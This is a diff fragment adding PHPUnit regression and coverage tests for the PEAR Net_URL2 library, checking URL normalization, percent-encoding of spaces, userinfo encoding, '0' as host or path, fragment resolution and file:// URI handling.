+ * @return void
+ */
+ public function test19315()
+ {
+ $actual = Net_URL2::removeDotSegments('0');
+ $this->assertSame('0', $actual);
+
+ $nonStringObject = (object)array();
+ try {
+ Net_URL2::removeDotSegments($nonStringObject);
+ } catch (PHPUnit_Framework_Error $error) {
+ $this->addToAssertionCount(1);
+ }
+
+ if (!isset($error)) {
+ $this->fail('Failed to verify that error was given.');
+ }
+ unset($error);
+ }
+
+ /**
+ * This is a regression test to test that recovering from
+ * a wrongly encoded URL is possible.
+ *
+ * It was requested as Request #19684 on 2011-12-31 02:07 UTC
+ * that redirects containing spaces should work.
+ *
+ * @return void
+ */
+ public function test19684()
+ {
+ // Location: URL obtained Thu, 25 Apr 2013 20:51:31 GMT
+ $urlWithSpace = 'http://www.sigmaaldrich.com/catalog/search?interface=CAS N'
+ . 'o.&term=108-88-3&lang=en&region=US&mode=match+partialmax&N=0+2200030'
+ . '48+219853269+219853286';
+
+ $urlCorrect = 'http://www.sigmaaldrich.com/catalog/search?interface=CAS%20N'
+ . 'o.&term=108-88-3&lang=en&region=US&mode=match+partialmax&N=0+2200030'
+ . '48+219853269+219853286';
+
+ $url = new Net_URL2($urlWithSpace);
+
+ $this->assertTrue($url->isAbsolute());
+
+ $urlPart = parse_url($urlCorrect, PHP_URL_PATH);
+ $this->assertSame($urlPart, $url->getPath());
+
+ $urlPart = parse_url($urlCorrect, PHP_URL_QUERY);
+ $this->assertSame($urlPart, $url->getQuery());
+
+ $this->assertSame($urlCorrect, (string)$url);
+
+ $input = 'http://example.com/get + + to my nose/';
+ $expected = 'http://example.com/get%20+%20+%20to%20my%20nose/';
+ $actual = new Net_URL2($input);
+ $this->assertEquals($expected, $actual);
+ $actual->normalize();
+ }
+
+ /**
+ * data provider of list of equivalent URLs.
+ *
+ * @see testNormalize
+ * @see testConstructSelf
+ * @return array
+ */
+ public function provideEquivalentUrlLists()
+ {
+ return array(
+ // String equivalence:
+ array('http://example.com/', 'http://example.com/'),
+
+ // Originally first dataset:
+ array('http://www.example.com/%9a', 'http://www.example.com/%9A'),
+
+ // Example from RFC 3986 6.2.2.:
+ array('example://a/b/c/%7Bfoo%7D', 'eXAMPLE://a/./b/../b/%63/%7bfoo%7d'),
+
+ // Example from RFC 3986 6.2.2.1.:
+ array('HTTP://www.EXAMPLE.com/', 'http://www.example.com/'),
+
+ // Example from RFC 3986 6.2.3.:
+ array(
+ 'http://example.com', 'http://example.com/',
+ 'http://example.com:/', 'http://example.com:80/'
+ ),
+
+ // Bug #20161: URLs with "0" as host fail to normalize with empty path
+ array('http://0/', 'http://0'),
+ );
+ }
+
+ /**
+ * This is a coverage test to invoke the normalize()
+ * method.
+ *
+ * @return void
+ *
+ * @dataProvider provideEquivalentUrlLists
+ */
+ public function testNormalize()
+ {
+ $urls = func_get_args();
+
+ $this->assertGreaterThanOrEqual(2, count($urls));
+
+ $last = null;
+
+ foreach ($urls as $index => $url) {
+ $url = new Net_Url2($url);
+ $url->normalize();
+ if ($index) {
+ $this->assertSame((string)$last, (string)$url);
+ }
+ $last = $url;
+ }
+ }
+
+ /**
+ * This is a coverage test to invoke __get and __set
+ *
+ * @covers Net_URL2::__get
+ * @covers Net_URL2::__set
+ * @return void
+ */
+ public function testMagicSetGet()
+ {
+ $url = new Net_URL2('');
+
+ $property = 'authority';
+ $url->$property = $value = 'value';
+ $this->assertEquals($value, $url->$property);
+
+ $property = 'unsetProperty';
+ $url->$property = $value;
+ $this->assertEquals(false, $url->$property);
+ }
+
+ /**
+ * data provider of uri and normal URIs
+ *
+ * @return array
+ * @see testComponentRecompositionAndNormalization
+ */
+ public function provideComposedAndNormalized()
+ {
+ return array(
+ array(''),
+ array('http:g'),
+ array('user@host'),
+ array('mailto:user@host'),
+ );
+ }
+
+ /**
+ * Tests Net_URL2 RFC 3986 5.3. Component Recomposition in the light
+ * of normalization
+ *
+ * This is also a regression test to test that a missing authority works well
+ * with normalization
+ *
+ * It was reported as Bug #20418 on 2014-10-02 22:10 UTC that there is an
+ * Incorrect normalization of URI with missing authority
+ *
+ * @param string $uri URI
+ *
+ * @return void
+ * @covers Net_URL2::getUrl()
+ * @covers Net_URL2::normalize()
+ * @dataProvider provideComposedAndNormalized
+ * @link https://pear.php.net/bugs/bug.php?id=20418
+ * @see testExampleUri
+ */
+ public function testComponentRecompositionAndNormalization($uri)
+ {
+ $url = new Net_URL2($uri);
+ $this->assertSame($uri, $url->getURL());
+ $url->normalize();
+ $this->assertSame($uri, $url->getURL());
+ }
+
+ /**
+ * Tests Net_URL2 ctors URL parameter works with objects implementing
+ * __toString().
+ *
+ * @dataProvider provideEquivalentUrlLists
+ * @coversNothing
+ * @return void
+ */
+ public function testConstructSelf()
+ {
+ $urls = func_get_args();
+ foreach ($urls as $url) {
+ $urlA = new Net_URL2($url);
+ $urlB = new Net_URL2($urlA);
+ $this->assertSame((string)$urlA, (string)$urlB);
+ }
+ }
+
+ /**
+ * This is a feature test to see that the userinfo's data is getting
+ * encoded as outlined in #19684.
+ *
+ * @covers Net_URL2::setAuthority
+ * @covers Net_URL2::setUserinfo
+ * @return void
+ */
+ public function testEncodeDataUserinfoAuthority()
+ {
+ $url = new Net_URL2('http://john doe:secret@example.com/');
+ $this->assertSame('http://john%20doe:secret@example.com/', (string)$url);
+
+ $url->setUserinfo('john doe');
+ $this->assertSame('http://john%20doe@example.com/', (string)$url);
+
+ $url->setUserinfo('john doe', 'pa wd');
+ $this->assertSame('http://john%20doe:pa%20wd@example.com/', (string)$url);
+ }
+
+ /**
+ * This is a regression test to test that using the
+ * host-name "0" does work with getAuthority()
+ *
+ * It was reported as Bug #20156 on 2013-12-27 22:56 UTC
+ * that setAuthority() with "0" as host would not work
+ *
+ * @covers Net_URL2::setAuthority
+ * @covers Net_URL2::getAuthority
+ * @covers Net_URL2::setHost
+ * @return void
+ */
+ public function test20156()
+ {
+ $url = new Net_URL2('http://user:pass@example.com:127/');
+ $host = '0';
+ $url->setHost($host);
+ $this->assertSame('user:pass@0:127', $url->getAuthority());
+
+ $url->setHost(false);
+ $this->assertSame(false, $url->getAuthority());
+
+ $url->setAuthority($host);
+ $this->assertSame($host, $url->getAuthority());
+ }
+
+ /**
+ * This is a regression test to test that setting "0" as path
+ * does not break normalize().
+ *
+ * It was reported as Bug #20157 on 2013-12-27 23:42 UTC that
+ * normalize() with "0" as path would not work.
+ *
+ * @covers Net_URL2::normalize
+ * @return void
+ */
+ public function test20157()
+ {
+ $subject = 'http://example.com';
+ $url = new Net_URL2($subject);
+ $url->setPath('0');
+ $url->normalize();
+ $this->assertSame("$subject/0", (string)$url);
+ }
+
+ /**
+ * This is a regression test to ensure that fragment-only references can be
+ * resolved to a non-absolute Base-URI.
+ *
+ * It was reported as Bug #20158 2013-12-28 14:49 UTC that fragment-only
+ * references would not be resolved to non-absolute base URI
+ *
+ * @covers Net_URL2::resolve
+ * @covers Net_URL2::_isFragmentOnly
+ * @return void
+ */
+ public function test20158()
+ {
+ $base = new Net_URL2('myfile.html');
+ $resolved = $base->resolve('#world');
+ $this->assertSame('myfile.html#world', (string)$resolved);
+ }
+
+ /**
+ * This is a regression test to ensure that authority and path are properly
+ * combined when the path does not start with a slash which is the separator
+ * character between authority and path.
+ *
+ * It was reported as Bug #20159 2013-12-28 17:18 UTC that authority
+ * would not be terminated by slash
+ *
+ * @covers Net_URL2::getUrl
+ * @return void
+ */
+ public function test20159()
+ {
+ $url = new Net_URL2('index.html');
+ $url->setHost('example.com');
+ $this->assertSame('//example.com/index.html', (string)$url);
+ }
+
+ /**
+ * This is a regression test to test that using the file:// URI scheme with
+ * an empty (default) hostname has the empty authority preserved when the
+ * full URL is build.
+ *
+ * It was reported as Bug #20304 on 2014-06-21 00:06 UTC
+ * that file:// URI are crippled.
+ *
+ * Tests with a default authority for the "file" URI scheme
+ *
+ * @covers Net_URL2::getURL
+ * @return void
+ * @link https://pear.php.net/bugs/bug.php?id=20304
+ */
+ public function test20304()
+ {
+ $file = 'file:///path/to/file';
+ $url = new Net_URL2($file);
+ $this->assertSame($file, (string) $url);
+
+ $file = 'file://localhost/path/to/file';
+ $url = new Net_URL2($file);
+ $this->assertSame($file, (string) $url);
+
+ $file = 'file://user@/path/to/file';
+ $url = new Net_URL2($file);
+ $this->assertSame($file, (string) $url);
+
+ $file = 'FILE:///path/to/file';
+ $url = new Net_URL2($file);
+ $this->assertSame($file, (string) $url);
+ }
+}